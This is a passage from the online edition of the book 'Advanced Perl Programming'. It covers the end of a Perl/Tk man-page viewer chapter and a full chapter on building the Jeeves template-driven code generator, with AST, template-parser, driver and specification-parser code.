    my $length = '0';
    while (1) {
        if ($ignore_case) {
            $current = $text->search('-count' => \$length,
                                     $match_type, '-nocase','--',
                                     $search_pattern,
                                     $current,
                                     'end');
        } else {
            $current = $text->search('-count' => \$length,
                                     $match_type, '--',
                                     $search_pattern,
                                     $current,
                                     'end');
        }
        last if (!$current);
        # Tag the matching text range with the tag name 'search'
        $text->tagAdd('search', $current, "$current + $length char");
        # Move the cursor ahead, and continue searching
        $current = $text->index("$current + $length char");
    }
}

16.2.3 Screen Layout

create_ui sets up the simple user interface. Pay particular attention to the padding options given to pack and the event bindings set up on the text and entry widgets.

sub create_ui {
    my $top = MainWindow->new();
    #-----------------------------------------------------------------
    # Create menus
    #-----------------------------------------------------------------
    # Menu bar
    my $menu_bar = $top->Frame()->pack('-side' => 'top',
                                       '-fill' => 'x');

    #----------- File menu ------------------------
    my $menu_file = $menu_bar->Menubutton('-text' => 'File',
                                          '-relief' => 'raised',
                                          '-borderwidth' => 2,
                                          )->pack('-side' => 'left',
                                                  '-padx' => 2,
                                                  );
    $menu_file->separator();
    $menu_file->command('-label' => 'Quit',
                        '-command' => sub {exit(0)});

    #----------- Sections Menu ------------------------
    $menu_headings = $menu_bar->Menubutton('-text' => 'Headings',
                                           '-relief' => 'raised',
                                           '-borderwidth' => 2,
                                           )->pack('-side' => 'left',
                                                   '-padx' => 2,
                                                   );
    $menu_headings->separator();

    #----------- Search Menu ------------------------
    my $search_mb = $menu_bar->Menubutton('-text'         => 'Search',
                                          '-relief'       => 'raised',
                                          '-borderwidth'  => 2,
                                          )->pack('-side' => 'left',
                                                  '-padx' => 2
                                               );
    $match_type = "-regexp"; $ignore_case = 1;
    $search_mb->separator();

    # Regexp match
    $search_mb->radiobutton('-label'    => 'Regexp match',
                            '-value'    => '-regexp',
                            '-variable' => \$match_type);
    # Exact match
    $search_mb->radiobutton('-label'    => 'Exact match',
                            '-value'    => '-exact',
                            '-variable' => \$match_type);
    $search_mb->separator();
    # Ignore case
    $search_mb->checkbutton('-label'    => 'Ignore case?',
                            '-variable' => \$ignore_case);
    #----------- Sections Menu ------------------------
    my $menu_sections = $menu_bar->Menubutton('-text' => 'Sections',
                                              '-relief' => 'raised',
                                              '-borderwidth' => 2,
                                             )->pack('-side' => 'left',
                                                     '-padx' => 2,
                                                      );
    # Populate sections menu with keys of %sections
    my $section_name;
    foreach $section_name (sort keys %sections) {
        $menu_sections->command (
               '-label' => "($section_name)",
               '-command' => [\&show_section_contents, $section_name]);
    }

    #-----------------------------------------------------------------
    # Create and configure text, and show and search entry widgets
    #-----------------------------------------------------------------
    $text = $top->Text ('-width' =>  80,
                        '-height' => 40)->pack();
    $text->tagConfigure('section',
                        '-font' =>
    '-adobe-helvetica-bold-r-normal--14-140-75-75-p-82-iso8859-1');
    # Used xlsfonts(1) for this font spec.
    $text->bind('<Double-1>', \&pick_word);
    $top->Label('-text' => 'Show:')->pack('-side' => 'left');

    $show = $top->Entry ('-width'   =>  20,
                         )->pack('-side' => 'left');
    $show->bind('<KeyPress-Return>', \&show_man);

    $top->Label('-text' => 'Search:'
                )->pack('-side' => 'left', '-padx' => 10);
    $search = $top->Entry ('-width' => 20,
                           )->pack('-side' => 'left');
    $search->bind('<KeyPress-Return>', \&search);
}

Please take a look at the file perlman.pl, packaged with the rest of this book's software and available from O'Reilly's FTP site. You can, if you wish, make a few valuable (and simple) additions to this utility: Add caching of formatted manual pages and the ability to show all man pages for a given topic name (not just the first one in MANPATH).

Previous: 16.1 man and perlman | Advanced Perl Programming | Next: 16.3 Resources
16.1 man and perlman | Book Index | 16.3 Resources


[Chapter 16] 16.3 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

16.3 Resources

  1. TkMan and RosettaMan (rman). Thomas Phelps. Download from ftp://ftp.cs.berkeley.edu/pub/people/phelps/tcl

  2. "Two Years with TkMan: Lessons and Innovations. Or, Everything I Needed to Know about Tcl/TK I learned from TKMan." Thomas Phelps.

    Interesting case study of Tcl/Tk usage. See address above.

Previous: 16.2 Implementation | Advanced Perl Programming | Next: 17. Template-Driven Code Generation
16.2 Implementation | Book Index | 17. Template-Driven Code Generation


[Chapter 17] Template-Driven Code Generation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 16.3 Resources Chapter 17 Next: 17.2 Jeeves Example

17. Template-Driven Code Generation

Contents:
On Code Generation
Jeeves Example
Jeeves Overview
Jeeves Implementation
Sample Specification Parser
Resources

I'd rather write programs to write programs than write programs.

- Programming Pearls, Communications of the ACM, Sept. 1985

This chapter builds a template-driven code generator, an indispensable tool in a C, C++, or Java programmer's toolbox. The chapter has two objectives: to make the case for code generation as a method of code reuse and to present a small but nontrivial problem that can exercise all the Perl concepts you learned in the first half of the book: complex data structures, modules, objects, and eval. Enjoy!

17.1 On Code Generation

Programmers create and use tiny specification languages all the time. Database schemas, resources (rc files in Unix such as .mwmrc and .openwinrc), user interface specifications (Motif UIL files), network interface specifications (RPC or CORBA IDL files), and so on are all examples of such languages. These languages enable you to state your requirements in a high-level, compact, and declarative format; for example, in Motif's UIL (User Interface Language), you can simply state that you want two buttons inside a form and spare yourself the effort of writing 20 or so statements in C to achieve the same effect.

The semantic gap between these specification languages and conventional systems-programming languages such as C or C++ can be bridged in one of two ways. The first approach is for the C application to treat the specification as meta-data; that is, the application embeds the specification parser and exchanges information with it using C data structures and an internal API. The second approach is to have a standalone compiler to translate the specification to C, which in turn is linked to the application. RPC systems and CASE tools prefer this approach.

In the following pages, we will study the second alternative and build ourselves a configurable code generation framework called Jeeves.[1]

[1] Jeeves is the efficient butler in P.G. Wodehouse's novels, who does all the work for his bumbling master with at most a twitch of an eyebrow.

The code generators we mentioned previously are clearly domain-specific. In practice, I have also found most of them to be needlessly specific in their output capabilities. Consider the following examples:

RPC

NOTE: The Remote Procedure Call facility allows you to call a procedure in a different address space, possibly on a different machine. You specify a list of procedures that you wish to export in an Interface Definition Language (IDL) and feed it to an IDL compiler, which produces some C code for the client and server ends. Link these pieces of code to your application, and voil�, you have network transparency.

Most commercial IDL compilers are remarkably inflexible about changing their output code. They make it hard for you to insert probes for monitoring network performance or auditing data flowing across the network. If you want to transparently encrypt the data before it is put "on the wire," you are often out of luck. Sure, you can change the C code output by the IDL compiler, but your changes will get overwritten the next time you run the IDL compiler.

CASE

Many CASE tools generate C code from object model specifications. The following sample specification lists entity classes and their attributes and specifies the degree and cardinality of relationships between these classes:

    Employee {
        int         emp_id   key
        string[40]  name
        Department  dept_id
        double      salary
    }
    Department {
        int         dept_id  key
        string[20]  name
    }
    Relationship Department(1) contains Employee (n)

Given this tiny specification language, we can, for example, automatically generate C and embedded SQL code to maintain database tables, as shown below:

    int create_employee_table {
        exec sql create table employee_table (
             employee_id integer,
             name varchar, salary float);
        return check_db_error();
    }
    int create_employee (employee *e) {
        if (!check_dept(e->dept))
            return 0;
        e->employee_id = ++g_employee_id;
        exec sql insert into table employee_table (
                 employee_id, name, salary)
                 values (:*e);
        return check_db_error();
    }

The specification also provides enough information to generate code for creating C++ classes for each entity and for managing referential integrity constraints ("cannot delete a department object if it contains one or more employees").

Most CASE tools suffer from the restriction that they can generate only a fixed pattern of code. Buy an object-oriented database tomorrow, and the output code shown earlier doesn't help much. If this pattern is hardcoded, you are left with a mere diagramming tool (a mighty expensive one too).

POD, Javadoc

The entire Perl documentation is written in a format called POD (plain old documentation). It provides simple, high-level primitives for specifying paragraph styles (=head1, =item) and character styles (B<foo> prints the word in boldface, for example). The distribution comes with tools such as pod2text, pod2html, pod2man, and so on. POD documents can be embedded in code, and extracted by these tools (the Perl interpreter ignores these directives). This facility reduces the possibility of mismatches between code and documentation since they are all in one place.

Similarly, all Java libraries are documented using a format known as Javadoc. The documentation is extracted and converted to HTML by a tool called javadoc.

Both sets of tools are limited to specific outputs (ASCII, HTML, and so on). For example, if you want to write a pod2rtf translator (Rich Text Format, used on Microsoft Windows systems), you have to start from scratch, because the POD parser is not available as a separate package. The better option would have been to centralize the POD parser and allow several different plug-and-play back ends.

SWIG, XS

In Chapter 18, Extending Perl:A First Course, we will have occasion to study two tools called SWIG and XS. Given an interface specification, they generate code to bind Perl and custom C extensions together. In fact, SWIG is a classic example of the type of code generators we would like to build: From one specification language, this tool is capable of producing a variety of output code, because its back end is template-driven.

In most of these cases, the demand for different types of output typically exceeds the number of changes made to the input specification format. We can make two observations as a consequence. First, parsing the input and producing the final output are related but separate tasks. Second, the output needs to be configurable. This can be arranged either by having one parameterizable output generator or by having a number of output generators that can be used interchangeably with the input parser. In my experience, the first option is not often practical. For example, it is pointless to write one output generator in the POD case, which can output HTML or ASCII or RTF just by tweaking a few parameters; they are very different sets of outputs.

The Jeeves framework goes for the second option. It helps you write a configurable translator by supplying a template-driven code-generating back end. This module allows you to write configurable templates with loops, if/then conditions, variables, and bits of Perl code, so it is no ordinary cookie-cutter cookie-cutter (otherwise, it might have been called yacccc).

An example serves to better explain this framework.

Previous: 16.3 Resources | Advanced Perl Programming | Next: 17.2 Jeeves Example
16.3 Resources | Book Index | 17.2 Jeeves Example


[Chapter 17] 17.2 Jeeves Example

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

17.2 Jeeves Example

We will consider a very simple object model specification file consisting of a list of classes, each of which contains a list of typed attributes:

// File: emp.om (om stands for object model)
class Employee {
    int         id;
    string      name;
    int         dept_id;
};
class Department {
    int    id;
    string name;
};

From this specification, we wish to produce a C++ header file for each class. Assume, for example, that the file Employee.h is expected to look like this (and similarly for Department.h):

#ifndef _Employee_h_
#define _Employee_h_
#include <Object.h>
// File : 'Employee.h'
// User : "sriram"
class Employee : Object {
   int id;
   string name;
   int dept_id;
   Employee(); // private constructor. Use Create()
public:
   // Methods
   Employee* Create();
    ~Employee();
   // Accessor Methods;
   int   get_id();
   void set_id(int);
   string   get_name();
   void set_name(string);
   int   get_dept_id();
   void set_dept_id(int);
}
#endif

Instead of succumbing to the temptation of writing a throwaway script to handle this specific job, we use Jeeves. This approach has three steps:

  1. Write a parser module for the object specification.

  2. Write a template to create the output required.

  3. Invoke Jeeves with the name of the specification parser, the template file, and the example specification file.

This approach forces you to separate the parsing and output stages into two different modules. You might think it is simpler to write a throwaway script, but that's not quite true: you still have the problem of parsing the specification and producing the output. If you play by Jeeves's rules, you can take advantage of its template-processing facility. Jeeves expects the parser to boil the specification down to a data structure known as an abstract syntax tree (AST). Jeeves does not help you with parsing; after all, how can it know about a language we randomly cooked up not too long ago?

The syntax tree is a simple hierarchical arrangement of properties and property lists and is shown in Figure 17.1 for our example problem. Shaded boxes represent AST nodes, and outer boxes represent collections of these nodes (vector properties). Each node in this syntax tree has one or more properties (or name-value pairs). A property value is either a scalar (class_name, attr_name, attr_type) or a vector of other nodes (attr_list and class_list). As currently implemented, Jeeves does not expect nodes to contain any other type of values (references to other types of arrays, or to hashes, for example).

Figure 17.1: Example syntax tree

To get a quick overview of the Jeeves process, we will assume for now that the input specification parser has already been written and is capable of producing the syntax tree in Figure 17.1. The implementation is explained later, in the section "Sample Specification Parser."

The next step is to write a template file (call it oo.tpl) to output the requested files. Jeeves allows you to use the properties in the syntax tree as variables and provides keywords to iterate through vector properties. The template in Example 17.1 produces the two files in one fell swoop.

Example 17.1: oo.tpl: Template File

@foreach class_list
@//------------------------------------------------------------------
@// Note: we are opening a new ".h" file within the foreach above ...
  @openfile ${class_name}.h
#ifndef _${class_name}_h_
#define _${class_name}_h_
#include <Object.h>
  @perl $user = $ENV{"USER"};
// File : '${class_name}.h'
// User : "$user"
class $class_name : Object {
  @foreach attr_list
   $attr_type $attr_name;
  @end
   $class_name(); // private constructor. Use Create()
public:
   // Methods
   $class_name* Create();
    ~$class_name();
   // Accessor Methods;
  @foreach attr_list
   $attr_type   get_${attr_name}();
   void set_${attr_name}($attr_type);
  @end .. attr_list
}
#endif
@end .. class_list

The template file contains a mixture of control statements (the highlighted lines starting with @), attributes (indicated by $varname), and ordinary text. The highlighted lines are indented to indicate nesting of control structures. Ordinary text is simply output after variable interpolations, and whitespace is faithfully preserved.

It is important for the template writer to know the kind of syntax tree that is being produced by the input parser and the set of properties at each type of node. In the preceding example, the template writer has to know that the list of classes is known as class_list, each element of which has properties such as class_name and attr_list.

Ordinarily, a line in the template is simply interpolated (all scalar variables are expanded in situ) and written to the file last opened by the @openfile construct. If the line belongs inside an @foreach ... @end block, it gets interpolated and written several times. The @foreach block iterates through a list-valued property in the syntax tree and makes the properties of the current AST node available as global variables. For example, @foreach class_list "visits" each node pointed to by the class_list property and makes the variables $class_name and $attr_list (refer to Figure 17.1) available for the text following the @foreach directive. In the sample template shown earlier, because @open_file is within such a block and uses the variable $class_name for the filename, the template produces a new file during each iteration. Ordinary template lines are simply funneled into the currently open file. The @perl command allows you to intersperse Perl code when the built-in primitives don't quite cut it. We'll cover some more template directives when we discuss the template parser implementation.

Having written the object model specification parser, OO_Schema.pm, the template oo.tpl, and our example specification, emp.om, we invoke Jeeves as follows:

% jeeves -s OO_Schema -t oo.tpl emp.om
Translated oo.tpl to oo.tpl.pl
Parsed emp.om
% ls *.h
Department.h Employee.h

This template is now capable of generating C++ code for any class in your specification. One small change in the template can be instantly reflected in all pieces of code.

17.2.1 Oh, and Can You Do This Too?

As soon as you finish doing this and are ready to go home, your remarkably prescient boss comes in and asks you to generate one more file: an SQL script to create the corresponding relational database schema. The script, db.sql, is expected to look like this:

create table Employee (
     id      integer,
     name    varchar,
     dept_id integer,
)
create table Department (
     id      integer,
     name    varchar,
)

Luckily, the Jeeves template makes this a two-minute task. Just create one more template file (or add the piece in Example 17.2 to the earlier template).

Example 17.2: sql.tpl: Template File to Create a Relational Database Schema

@openfile db.sql
@perl %db_typemap = ("int" => 'integer', string => 'varchar');
create table $class_name (
  @foreach attr_list
    @perl my $db_type = $db_typemap{$attr_type};
     $attr_name $db_type,
  @end
)
@end .. class_list

The template maps each attribute's type to the corresponding SQL datatype, using a snippet of Perl code.

As you can see, this architecture allows us to reuse specification parsers; we have used the information generated by the parser to fashion a completely different output.

Previous: 17.1 On Code Generation | Advanced Perl Programming | Next: 17.3 Jeeves Overview
17.1 On Code Generation | Book Index | 17.3 Jeeves Overview


[Chapter 17] 17.3 Jeeves Overview

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

17.3 Jeeves Overview

Figure 17.2 illustrates how various components of a Jeeves-based translator relate to each other. Gray rectangles constitute the Jeeves framework.

Figure 17.2: Components of a running Jeeves-based translator

The Jeeves framework supplies a driver program, jeeves, a template-parsing module, TemplateParser.pm, and a utility module for creating and accessing the syntax tree, AST.pm.

You supply a specification parser for a given application domain, such as OO_Schema.pm, a specification file (emp.om), and one or more templates, such as oo.tpl.

The driver starts by calling the parse function of the specification parser. This calls the AST functions new, add_prop, and add_prop_list to convert all "relevant" data from the specification file to a tree of properties.

The driver then calls the template parser's parse function, which converts the given template file to an intermediate perl file. (Note the line Translated oo.tpl to oo.tpl.pl in the command-line invocation shown earlier.) The template contains variables along with looping and conditional constructs, all of which are more than adequately supported by Perl itself, so by converting the template to Perl code, we are able to leverage all of Perl's power. This is similar to early versions of C++ compilers (cfront), which simply converted C++ files to intermediate C files, thus taking advantage of the power, optimization features, and portability of existing C compilers.

Finally, the driver loads the intermediate file using require, which is an eval in disguise. When evaluated, this code traverses the syntax tree and produces the required output files.

17.3.1 Advantages of This Architecture

So what have we gained by this seemingly complicated arrangement? The input parser is written once to produce a standardized data structure. The template parser knows how to make this data structure available to the template and traverse it in a controlled fashion. The result is that you can write all kinds of templates while reusing the input parser.

This arrangement works very well in big projects. Someone with parsing experience writes the parser, and another who knows the application well writes templates. Others simply write different specifications and run the tool. Tomorrow, if you, an applications developer, write a template to automatically generate a Motif-based user interface from an object model, the others don't have to learn Motif to generate custom UIs for their object models.

The jeeves driver takes the name of a specification parser on the command line. This means that you can have a library of specification parsers for all kinds of problems and a library of templates corresponding to these parsers. The framework itself is independent of application domains.

The advantage of writing it in Perl is that no other language comes anywhere close to Perl's text-processing abilities. Besides, you can use modules such as Tk and IO::Socket within your templates.

17.3.2 Intermediate Perl Code

Most of Jeeves is extremely simple; the only piece of code that warrants some attention is the template parser.

The following snippet shows a sample conversion of a template to the intermediate Perl file:

@foreach class_list
Name: $class_name
  @foreach attr_list
  Attr: $attr_name, $attr_type
  @end
@end

Stripped to its essence, the corresponding intermediate file looks like this:

$ROOT->visit();
foreach $class_list_i (@class_list) {
    $class_list_i->visit();
    print "Name : $class_name\n";
    foreach $attr_list_i (@attr_list) {
         $attr_list_i->visit();
         print "Attr: $attr_name, $attr_type\n";
         Ast->bye();
    }
    Ast->bye();
}

Ast::visit converts all properties of the AST node being visited to global Perl variables in package main. The root node of the syntax tree is "visited" first, which results in the creation of one global variable, @class_list, since that is the sole property of the root node. @class_list consists of one or more AST nodes itself, and when one of them is visited, the properties class_name and attr_list become available as $class_name and @attr_list. This code has to account for the possibility that a given global variable already exists, either because of a similarly named property at an outer level of nesting or because one was defined by the template writer using an @perl directive. For this reason visit() keeps track of the old value of a variable if necessary; bye() restores it to the old value at the end of a @FOREACH block. This arrangement hence implements dynamic scoping.

Previous: 17.2 Jeeves Example | Advanced Perl Programming | Next: 17.4 Jeeves Implementation
17.2 Jeeves Example | Book Index | 17.4 Jeeves Implementation


[Chapter 17] 17.4 Jeeves Implementation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

17.4 Jeeves Implementation

In the following pages, we implement all the components of the Jeeves framework. You may find it helpful to run jeeves for a sample problem and have a copy of the output handy.

17.4.1 AST Module

The AST module is a very simple library, so we will look at only a few of the more interesting procedures below.

An AST node is a container of properties, so a hash table suits the job perfectly. Each node is given a name for ease of debugging:

package Ast;
use strict;
sub new {
    my ($pkg, $name) = @_;
    bless {'ast_node_name' => $name}, $pkg;
}

new, add_prop, and add_prop_list are used by all specification parsers to create AST objects:

sub add_prop {
    my ($node, $prop_name, $prop_value) = @_;
    $node->{$prop_name} = $prop_value;
}
sub add_prop_list {
    my ($node, $prop_name, $node_ref) = @_;
    if (! exists $node->{$prop_name}) {
        $node->{$prop_name} = [];
    }
    push (@{$node->{$prop_name}}, $node_ref);
}

add_prop simply adds a name-value pair to the AST object. add_prop_list creates a list-valued property. The property value is an anonymous array that contains references to other AST nodes. You can have your own list-valued properties, but you should never use them as an argument to @foreach because it assumes that the elements of that list are AST nodes.

my @saved_values_stack;
sub visit {
    no strict 'refs';
    my $node = shift;
    package main;
    my ($var, $val, $old_val, %saved_values);
    while (($var,$val) = each %{$node}) {
        if (defined ($old_val = $$var)) {
           $saved_values{$var} = $old_val;
        }
        $$var = $val;
    }
    push (@saved_values_stack, \%saved_values);
}

The visit and bye methods are used by the intermediate Perl file. $node is the node being visited, so %$node is the corresponding hash table. $var is a property name such as class_name, so to check whether a variable such as $class_name already exists, we use symbolic references: if defined($$var). All such variables that existed before are squirreled away into a hash table (%saved_values), which is then pushed into a stack. This stack represents collections of such saved values.

sub bye {
    my $rh_saved_values = pop(@saved_values_stack);
    no strict 'refs';
    package main;
    my ($var,$val);
    while (($var,$val) = each %$rh_saved_values) {
        $$var = $val;
    }
}

bye() simply pops this stack and restores the global variables to their former values. Incidentally, since use strict doesn't encourage symbolic references, we have to explicitly turn it off for a short while with no strict 'refs'.

17.4.2 Template Parser

The template parser supports the directives in Table 17.1.

Table 17.1: Directives Recognized by Jeeves

Directive

Description

@//

Comment. This line is not output

@foreach var [condition]
@end

This loops through each element of var (it is assumed that var is an array) and executes the body if the (optional) condition is true. Conditions are simply pieces of embedded Perl code and can be used like this:

@FOREACH attr_list ($className eq "Test")
@if @elsif @else @end

Translates directly to Perl's if statement.

@openfile filename
              [options]

All statements following this line are simply sent to this file until another @OPENFILE is encountered. Options are:

-append: open the file in append mode

-no_overwrite: do not overwrite the file if it already exists

-only_if_different: overwrites the file only if it is different. Useful in a make environment, where you don't want to unnecessarily touch files.

@perl

For embedding Perl code, provided as an escape to a higher power.

@perl $user_name = $ENV{USER};
@perl print $user_name;

The following template parser code simply translates all template directives to corresponding pieces of Perl code in the intermediate files. Explanations follow each subroutine definition.

package TemplateParser;
use strict;
sub parse {
    # Args : template file, intermediate perl file
    my ($pkg,$template_file, $inter_file) = @_;
    unless (open (T, $template_file)) {
        warn "$template_file : $@";
        return 1;
    }
    open (I, "> $inter_file") ||
        die "Error opening intermediate file $inter_file : $@";

    emit_opening_stmts($template_file);
    my $line;
    while (defined($line = <T>)) {
        if ($line !~ /^\s*\@/) { # Is it a command?
            emit_text($line);
            next;
        }
        if ($line =~ /^\s*\@OPENFILE\s*(.*)\s*$/i) {
            emit_open_file ($1);
        } elsif ($line =~ /^\s*\@FOREACH\s*(\w*)\s*(.*)\s*/i) {
            emit_loop_begin ($1,$2);
        } elsif ($line =~ /^\s*\@END/i) {
            emit_loop_end();
        } elsif ($line =~ /^\s*\@PERL(.*)/i) {
            emit_perl("$1\n");
        };
    }
    emit_closing_stmts();

    close(I);
    return 0;
}
TemplateParser::parse is called by the driver, with the name of the template file. For every line in the template, it checks to see whether that line is a command or ordinary text and calls the appropriate "emit" routine. All emitted code is shown in italics.
sub emit_opening_stmts {
    my $template_file = shift;
    emit("# Created automatically from $template_file");
    emit(<<'_EOC_');
use Ast;
use JeevesUtil;

$tmp_file = "jeeves.tmp";
sub open_file;
if (! (defined ($ROOT) && $ROOT)) {
    die "ROOT not defined \n";
}

$file = "> -";   # Assumes STDOUT, unless @OPENFILE changes it.
open (F, $file) || die $@;
$code = "";
$ROOT->visit();
_EOC_
}
All pieces of code that go into the intermediate file (emitted) are shown in italics. Perl's "here document" feature is used extensively because we can use quotes and newlines without restrictions. emit_opening_statement visits the syntax tree's root node (the driver makes it available as a global variable called $ROOT). By default, all output from the intermediate file is to standard output until it comes across an @openfile directive.
sub emit_open_file {
    my $file = shift;
    my $no_overwrite      = ($file =~ s/-no_overwrite//gi) ? 1 : 0;
    my $append            = ($file =~ s/-append//gi) ? 1 : 0;
    my $only_if_different = ($file =~ s/-only_if_different//gi) ? 1 : 0;
    $file =~ s/\s*//g;
    emit (<<"_EOC_");
# Line $.
open_file(\"$file\", $no_overwrite, $only_if_different, $append);
_EOC_
}
emit_open_file contains the translation for @openfile and simply emits a call to the utility function open_file (discussed later).
sub emit_loop_begin {
    my $l_name = shift; # Name of the list variable
    my $condition = shift;
    my $l_name_i = $l_name . "_i";
emit (<<"_EOC_");
# Line $.
foreach \$$l_name_i (\@\${$l_name}) {
    \$$l_name_i->visit ();
_EOC_
    if ($condition) {
        emit ("next if (! ($condition));\n");
    }
}
sub emit_loop_end {
    emit(<<"_EOC_");
#Line $.
    Ast->bye();
}
_EOC_
}
We saw earlier the code generated for a @foreach directive. Note how we manufacture the iterator name and protect certain expressions from getting interpolated. This code can be better understood by looking at the sample output.
sub emit {
    print I $_[0];
}
sub emit_perl {
    emit($_[0]);
}
sub emit_text {
    my $text = $_[0];
    chomp $text;
    # Escape quotes in the text
    $text =~ s/"/\\"/g;
    $text =~ s/'/\\'/g;
    emit(<<"_EOC_");
output("$text\\n");
_EOC_
}

sub emit_closing_stmts {
    emit(<<'_EOC_');
Ast::bye();
close(F);
unlink ($tmp_file);
sub open_file {
    my ($a_file, $a_nooverwrite, $a_only_if_different, $a_append) = @_;

    #First deal with the file previously opened
    close (F);
    if ($only_if_different) {
        if (JeevesUtil::compare ($orig_file, $curr_file) != 0) {
            rename ($curr_file, $orig_file) ||
            die "Error renaming $curr_file  to $orig_file";
        }
    }
    #Now for the new file ...
    $curr_file = $orig_file = $a_file;
    $only_if_different = ($a_only_if_different && (-f $curr_file))
                         ? 1 : 0;
    $no_overwrite = ($a_nooverwrite && (-f $curr_file))  ? 1 : 0;
    $mode =  ($a_append) ? ">>" : ">";
    if ($only_if_different) {
        unlink ($tmp_file);
        $curr_file = $tmp_file;
    }
    if (! $no_overwrite) {
        open (F, "$mode $curr_file") || die "could not open $curr_file";
    }
}

sub output {
    print F @_ (! $no_overwrite);
}
1;
_EOC_
}
The open_file and output routines are present in all intermediate code files (for no particular reason - they might as well have been put in the JeevesUtil package). open_file closes the previously opened file. If you say, @openfile foo -only_if_different, the intermediate file dumps the template output into a temporary file, and when it is done, it compares this temporary file to the contents of foo, and overwrites it only if it is different.
17.4.3 Jeeves Driver
The jeeves script is merely a driver that first calls the template parser to produce the intermediate file, then calls the input parser (its parse() method, actually) to produce the syntax tree, and finally evals the intermediate file. The template file is recompiled only if it is newer than the intermediate file.
Example 17.3 gives the code for jeeves, minus the uninteresting stuff (such as process_args()).
Example 17.3: Jeeves
#!/opt/bin/perl
# process_args initializes the following global variables:
#   $spec_file     - Name of the input specification (emp.om)
#   $template_file - Name of the template file (oo.tpl)
#   $inter_file    - name of the intermediate file
#                        (defaults to "${template_file}.pl"
process_args();
#-------------------------------------------------------------------------
# Parse the template file
#-------------------------------------------------------------------------
# Use "require" to allow process_args() to set @INC first
require 'TemplateParser.pm';
my $compile_template = 1;
if ((-e $inter_file) &&
    (-M $inter_file) >= (-M $template_file)) {
        $compile_template = 0; # Don't compile if inter-file is newer.
}
if ($compile_template) {
    if (TemplateParser->parse ($template_file, $inter_file) == 0) {
        print STDERR ("Translated $template_file to $inter_file\n")
           if $verbose;
    } else {
        die "Could not parse template file - exiting\n";
    }
}
#-------------------------------------------------------------------------
# Parse the input specification file
#-------------------------------------------------------------------------
require "${spec_parser}.pm"; $spec_parser->import;
$ROOT = $spec_parser->parse($spec_file);
print STDERR ("Parsed $spec_file\n") if $verbose;
$ROOT->print() if $debugging;
#-------------------------------------------------------------------------
# Eval the intermediate Perl file
#-------------------------------------------------------------------------
require "$inter_file";
die "$@\n" if $@;
exit(0);

#-------------------------------------------------------------------------
sub Usage {
    print STDERR <<"_EOT_";

Usage: jeeves <options> <specification file>
 where options are:
 -t <template file>            : Name of the template file.
                                 Default : "./jeeves.template"
                                 Default template directory = ".", which
                                 can be modified by setenv-ing
                                 "JEEVESTEMPLATEDIR"
 -q                            : Quiet Mode
 -d                            : Set a debugging trace. This is NOT quiet!
 -s <specification parser>     : Parser module that can parse the input
                                 specification file
                                 Default : "oo_schema"
[-ti <intermediate perl file>] : jeeves translates the template file to
                               : perl code. Default : "<template>.pl"
-D var[=value]                 : Define variables on the command line

The command line can be specified in the envt. variable "JEEVESOPTIONS".

The pathname to all Jeeves modules can be set in the envt. variable
    "JEEVESLIBDIR" (colon-separated);
_EOT_
    exit(1);
}
Previous: 17.3 Jeeves Overview | Advanced Perl Programming | Next: 17.5 Sample Specification Parser
17.3 Jeeves Overview | Book Index | 17.5 Sample Specification Parser


[Chapter 17] 17.5 Sample Specification Parser

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

17.5 Sample Specification Parser

The input specification parser is particular to an application domain. In this section, we look at the parser that is required for our toy object model specification, primarily to review how the AST library is used; the parsing code itself is quite trivial. For more involved parsing tasks, you can use a version of Berkeley yacc, which has been hacked up to output Perl instead of C (available from http://ftp.sterling.com:/local/perl-byacc.tar.Z). I have successfully used this combination to produce IDL parsers for the CORBA specification.

The parser in Example 17.4 allows attributes to have additional annotations like this:

class Foo {
    int  id,  access=readonly, db_col_name=id, index=yes;
};

In the template, these attribute properties can be used just like "standard" properties such as attr_name and attr_type.

Example 17.4: OO_Schema.pm: The Specification Parser

package SchemaParser;
use Ast;
use Carp;
sub parse{
    my ($package, $filename) = @_;
    open (P, $filename) || die "Could not open $filename : $@";
    my $root = Ast->new("Root");
    eval {
        while (1) {
            get_line();
            next unless ($line =~ /^\s*class +(\w+)/);
            $c = Ast->new($1);
            $c->add_prop("class_name" => $1);
            $root->add_prop_list("class_list", $c);
            while (1) {
                get_line();
                last if $line =~ /^\s*}/;
                if ($line =~ s/^\s*(\w+)\s*(\w+)//) {
                    $a = Ast->new($2);  #attribute name
                    $a->add_prop ("attr_name", $2);  #attribute type
                    $a->add_prop ("attr_type", $1);  #attribute type
                    $c->add_prop_list("attr_list", $a);
                }
                $curr_line = $line;
                while ($curr_line !~ /;/) {
                    get_line();
                    $curr_line .= $line;
                }
                @props = split (/[,;]/,$curr_line);
                foreach $prop (@props) {
                    if ($prop =~ /\s*(\w*)\s*=\s*(.*)\s*/) {
                         $a->add_prop($1, $2);
                    }
                }
            }
        }
    };
    # Comes here if "END OF FILE" exception is thrown
    die $@ if ($@ && ($@  !~ /END OF FILE/));
    return $root;
}
sub get_line {
    while (defined($line = <P>)) {
        chomp $line;
        $line =~ s#//.*$##;          # remove comments
        return if $line !~ /^\s*$/;  # return if not white-space
    }
    die "END OF FILE";
}
1;

OO_Schema::parse starts by creating a new AST root node, and whenever it encounters a new class declaration, it adds it to the root's class_list property. Similarly, for each attribute, it creates a new node and adds it to the attr_list property of the AST node representing the class being examined.

The procedure get_line throws an end of file exception when there's nothing more to read. This way, the user of get_line can wrap multiple calls to get_line inside an eval without having to check at each place if it has prematurely reached the end of input.

Previous: 17.4 Jeeves Implementation | Advanced Perl Programming | Next: 17.6 Resources
17.4 Jeeves Implementation | Book Index | 17.6 Resources


[Chapter 17] 17.6 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

17.6 Resources

  1. Berkeley yacc for Perl, availabe at http://ftp.sterling.com:/local/perl-byacc.tar.Z

  2. Lex for Perl. Parse::Lex, available on CPAN.

    Generates lexical analyzers � la Lex. The documentation is in French, but the library is easy enough to figure out even if you don't speak the language.

  3. "Research Issues with Application Generators," Proceedings of the 6th Annual Workshop on Software Reuse. Prem Devanbu.

  4. "A Configurable Code Generator for OO Methodologies." A. Aimar, A. Khodabandeh, P. Palazzi, and B. Rousseau. From http://www1.cern.ch/WebMaker/examples/CHEP94_codegene_1/www/codegene_1.html

  5. "Little Languages," More Programming Pearls: Confessions of a Coder. John Bentley. Association for Computing Machinery, 1988.

